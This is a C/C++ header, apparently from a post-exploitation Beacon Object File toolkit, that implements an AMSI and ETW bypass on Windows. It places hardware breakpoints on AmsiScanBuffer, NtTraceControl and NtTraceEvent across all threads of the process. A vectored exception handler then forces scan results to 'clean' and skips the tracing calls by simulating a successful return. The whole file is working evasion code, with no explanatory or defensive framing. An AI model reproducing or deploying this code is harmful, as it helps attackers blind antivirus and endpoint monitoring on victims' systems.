#ifndef _H_EVASION
#define _H_EVASION

#include <windows.h>
#include <tlhelp32.h>
#include "utils.h"

#define DYNAMIC_RESOLVE(mod, func) auto _ ## func = (type ## func)GetProcAddress(mod, #func);

#define DATA_SECTION __attribute__((section(".data")))

DATA_SECTION static const int AMSI_RESULT_CLEAN = 0;
DATA_SECTION static HINSTANCE g_kernel32 = nullptr;
DATA_SECTION static PVOID g_amsiScanBufferPtr = nullptr;
DATA_SECTION static PVOID g_ntTraceControlPtr = nullptr;
DATA_SECTION static PVOID g_ntTraceEventPtr = nullptr;
DATA_SECTION static CRITICAL_SECTION g_criticalSection;

static unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) 
{
    unsigned long long mask = (1UL << bits) - 1UL;
    dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
     return dw;
}

static void enableHardwareBreakpoint(CONTEXT& ctx, PVOID address, int index) 
{
    switch (index) 
    {
        case 0:
            ctx.Dr0 = (ULONG_PTR)address;
            break;
        case 1:
            ctx.Dr1 = (ULONG_PTR)address;
            break;
        case 2:
            ctx.Dr2 = (ULONG_PTR)address;
            break;
        case 3:
            ctx.Dr3 = (ULONG_PTR)address;
            break;
    }

    // Set bits 16-31 as 0, which sets
    // DR0-DR3 HBP's for execute HBP
    ctx.Dr7 = setBits(ctx.Dr7, 16, 16, 0);

    // Set DRx HBP as enabled for local mode
    ctx.Dr7 = setBits(ctx.Dr7, (index * 2), 1, 1);
    ctx.Dr6 = 0;
}

static void clearHardwareBreakpoint(CONTEXT* ctx, int index) 
{
    // Clear the releveant hardware breakpoint
    switch (index) 
    {
        case 0:
            ctx->Dr0 = 0;
            break;
        case 1:
            ctx->Dr1 = 0;
            break;
        case 2:
            ctx->Dr2 = 0;
            break;
        case 3:
            ctx->Dr3 = 0;
            break;
    }

    // Clear DRx HBP to disable for local mode
    ctx->Dr7 = setBits(ctx->Dr7, (index * 2), 1, 0);
    ctx->Dr6 = 0;
    ctx->EFlags = 0;
}

static void setBreakpoint(BOOL enable, const PVOID address, UINT index) 
{
    BOF_LOCAL(KERNEL32, CloseHandle);

    using typeSetThreadContext = BOOL (WINAPI *)(HANDLE, CONTEXT*);
    using typeGetThreadContext = BOOL (WINAPI *)(HANDLE, LPCONTEXT);
    using typeGetCurrentProcessId = DWORD (WINAPI *)(VOID);
    using typeCreateToolhelp32Snapshot = HANDLE (WINAPI *)(DWORD, DWORD);
    using typeThread32First = BOOL (WINAPI *)(HANDLE, LPTHREADENTRY32);
    using typeThread32Next = BOOL (WINAPI *)(HANDLE, LPTHREADENTRY32);
    using typeOpenThread = HANDLE (WINAPI *)(DWORD, BOOL, DWORD);

    DYNAMIC_RESOLVE(g_kernel32, SetThreadContext);
    DYNAMIC_RESOLVE(g_kernel32, GetThreadContext);
    DYNAMIC_RESOLVE(g_kernel32, GetCurrentProcessId);
    DYNAMIC_RESOLVE(g_kernel32, CreateToolhelp32Snapshot);
    DYNAMIC_RESOLVE(g_kernel32, Thread32First);
    DYNAMIC_RESOLVE(g_kernel32, Thread32Next);
    DYNAMIC_RESOLVE(g_kernel32, OpenThread);

    const DWORD pid = _GetCurrentProcessId();
    HANDLE h = _CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

    if (h != INVALID_HANDLE_VALUE)
    {
        THREADENTRY32 te = { 0 };
        te.dwSize = sizeof(te);

        if (_Thread32First(h, &te))
        {
            do
            {
                if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
                {
                    if (te.th32OwnerProcessID == pid)
                    {
                        HANDLE thread = _OpenThread(THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
                        if (thread != NULL && thread != INVALID_HANDLE_VALUE)
                        {
                            CONTEXT ctx;
                            memset(&ctx, 0, sizeof(ctx));
                            ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

                            if (_GetThreadContext(thread, &ctx))
                            {
                                if (enable)
                                {
                                    enableHardwareBreakpoint(ctx, address, index);
                                }    
                                else
                                {
                                    clearHardwareBreakpoint(&ctx, index);
                                }   

                                _SetThreadContext(thread, &ctx);
                            }

                            CloseHandle(thread);
                        }
                    }
                }
                te.dwSize = sizeof(te);

            } while (_Thread32Next(h, &te));
        }

        CloseHandle(h);
    }
}

static ULONG_PTR getArg(CONTEXT* ctx, int index)
{
#ifdef __x86_64
        switch(index){
            case 0:
                return ctx->Rcx;
            case 1:
                return ctx->Rdx;
            case 2:
                return ctx->R8;
            case 3:
                return ctx->R9;
            default:
                return *(ULONG_PTR*)(ctx->Rsp+((index+1)*8));
        }
#else
        return *(DWORD_PTR*)(ctx->Esp+((index+1)*4));
#endif

}

static ULONG_PTR getReturnAddress(CONTEXT* ctx)
{
#ifdef __x86_64
        return *(ULONG_PTR*)ctx->Rsp;
#else
        return *(ULONG_PTR*)ctx->Esp;
#endif
}

static void setResult(CONTEXT* ctx, ULONG_PTR result)
{
#ifdef __x86_64
        ctx->Rax = result;
#else
        ctx->Eax = result;
#endif
}

static void adjustStackPointer(CONTEXT* ctx, int amount)
{
#ifdef __x86_64
        ctx->Rsp += amount;
#else
        ctx->Esp += amount;
#endif
}

static void setIP(CONTEXT* ctx, ULONG_PTR newIP)
{
#ifdef __x86_64
        ctx->Rip = newIP;
#else
        ctx->Eip = newIP;
#endif
}

static void handleAMSIBypass(PEXCEPTION_POINTERS exceptions)
{
    // Get the return address by reading the value currently stored at the stack pointer 
    ULONG_PTR returnAddress = getReturnAddress(exceptions->ContextRecord);
    
    // Get the address of the 5th argument, which is an int* and set it to a clean result
    int* scanResult = (int*)getArg(exceptions->ContextRecord, 5);
    *scanResult = AMSI_RESULT_CLEAN;

    // update the current instruction pointer to the caller of AmsiScanBuffer 
    setIP(exceptions->ContextRecord, returnAddress);
    
#ifdef __x86_64
    // We need to adjust the stack pointer accordingly too so that we simulate a ret instruction
    adjustStackPointer(exceptions->ContextRecord, sizeof(PVOID));
#else
    // 6 arguments + return address since __stdcall calling convention is in use on x86
    adjustStackPointer(exceptions->ContextRecord, 28);
#endif
    
    // Set the eax/rax register to 0 (S_OK) indicating to the caller that AmsiScanBuffer finished successfully 
    setResult(exceptions->ContextRecord, S_OK);
}

static void handleEtwTraceControlBypass(PEXCEPTION_POINTERS exceptions)
{
    // Get the return address by reading the value currently stored at the stack pointer 
    ULONG_PTR returnAddress = getReturnAddress(exceptions->ContextRecord);

    // update the current instruction pointer to the caller of ntTraceControl 
    setIP(exceptions->ContextRecord, returnAddress);
    
#ifdef __x86_64
    // We need to adjust the stack pointer accordingly too so that we simulate a ret instruction
    adjustStackPointer(exceptions->ContextRecord, sizeof(PVOID));
#else
    // 6 arguments + return address since __stdcall calling convention is in use on x86
    adjustStackPointer(exceptions->ContextRecord, 28);
#endif
    
    // Set the eax/rax register to 0 (S_OK) indicating to the caller that ntTraceControl finished successfully 
    setResult(exceptions->ContextRecord, S_OK);
}

static LONG WINAPI exceptionHandler(PEXCEPTION_POINTERS exceptions)
{
    if(exceptions->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
        return EXCEPTION_CONTINUE_SEARCH;

    const PVOID exceptionAddr = exceptions->ExceptionRecord->ExceptionAddress;

    if(exceptionAddr == g_amsiScanBufferPtr)
    {
        handleAMSIBypass(exceptions);
        return EXCEPTION_CONTINUE_EXECUTION;
    } 
    else if(exceptionAddr == g_ntTraceControlPtr || exceptionAddr == g_ntTraceEventPtr)
    {
        handleEtwTraceControlBypass(exceptions);
        return EXCEPTION_CONTINUE_EXECUTION;
    } 

    return EXCEPTION_CONTINUE_SEARCH;
}

static void clearBypasses(HANDLE hExHandler) 
{
    if(hExHandler != nullptr) 
    { 
        using typeRemoveVectoredExceptionHandler = ULONG (WINAPI *)(PVOID Handle);
        using typeSleepEx = DWORD (WINAPI *)(DWORD, BOOL);

        DYNAMIC_RESOLVE(g_kernel32, RemoveVectoredExceptionHandler);
        DYNAMIC_RESOLVE(g_kernel32, SleepEx);

        setBreakpoint(FALSE, g_amsiScanBufferPtr, 0);
        setBreakpoint(FALSE, g_ntTraceControlPtr, 1);
        setBreakpoint(FALSE, g_ntTraceEventPtr, 2);

        _RemoveVectoredExceptionHandler(hExHandler);

        _SleepEx(500, false);
    }
}

static HANDLE setupAMSIBypass(HANDLE hExHandler)
{
    // Load amsi.dll if it hasn't be loaded alreay.
    if(g_amsiScanBufferPtr == nullptr)
    {
        HMODULE amsi = GetModuleHandleA("amsi.dll");

        if(amsi == nullptr)
        {
            amsi = LoadLibraryA("amsi.dll");
        }

        if(amsi != nullptr)
        {
            g_amsiScanBufferPtr = (PVOID)GetProcAddress(amsi, "AmsiScanBuffer");
        }
        else
        {
            return nullptr;
        }

        if(g_amsiScanBufferPtr == nullptr)
            return nullptr;
    }

    if(hExHandler != nullptr)
    {
        setBreakpoint(TRUE, g_amsiScanBufferPtr, 0);
    }

    return hExHandler;
}

static HANDLE setupETWBypass(HANDLE hExHandler)
{
    if(g_ntTraceControlPtr == nullptr)
    {
        HMODULE ntdll = GetModuleHandleA("ntdll.dll");

        if(ntdll != nullptr)
        {
            g_ntTraceControlPtr = (PVOID)GetProcAddress(ntdll, "NtTraceControl");
        }
        else
        {
            return nullptr;
        }

        if(g_ntTraceControlPtr != nullptr)
        {
            setBreakpoint(TRUE, g_ntTraceControlPtr, 1);
        }
    }

    if(g_ntTraceEventPtr == nullptr)
    {
        HMODULE ntdll = GetModuleHandleA("ntdll.dll");

        if(ntdll != nullptr)
        {
            g_ntTraceEventPtr = (PVOID)GetProcAddress(ntdll, "NtTraceEvent");
        }
        else
        {
            return nullptr;
        }

        if(g_ntTraceEventPtr != nullptr)
        {
            setBreakpoint(TRUE, g_ntTraceEventPtr, 2);
        }
    }

    return hExHandler;
}

static HANDLE setupBypasses() 
{
    BOF_LOCAL(KERNEL32, LoadLibraryA);
    g_kernel32 = LoadLibraryA("kernel32.dll");

    using typeAddVectoredExceptionHandler = PVOID (WINAPI *)(ULONG, PVECTORED_EXCEPTION_HANDLER);
    using typeInitializeCriticalSection = void (WINAPI *)(LPCRITICAL_SECTION);
    using typeLeaveCriticalSection = void (WINAPI *)(LPCRITICAL_SECTION);
    using typeDeleteCriticalSection = void (WINAPI *)(LPCRITICAL_SECTION);

    DYNAMIC_RESOLVE(g_kernel32, AddVectoredExceptionHandler);
    DYNAMIC_RESOLVE(g_kernel32, InitializeCriticalSection);
    DYNAMIC_RESOLVE(g_kernel32, LeaveCriticalSection);
    DYNAMIC_RESOLVE(g_kernel32, DeleteCriticalSection);

    HANDLE hExHandler = _AddVectoredExceptionHandler(1, exceptionHandler);

    _InitializeCriticalSection(&g_criticalSection);

    setupAMSIBypass(hExHandler);
    setupETWBypass(hExHandler);

    _LeaveCriticalSection(&g_criticalSection);
    _DeleteCriticalSection(&g_criticalSection);

    return hExHandler;
}

#endif // _H_EVASION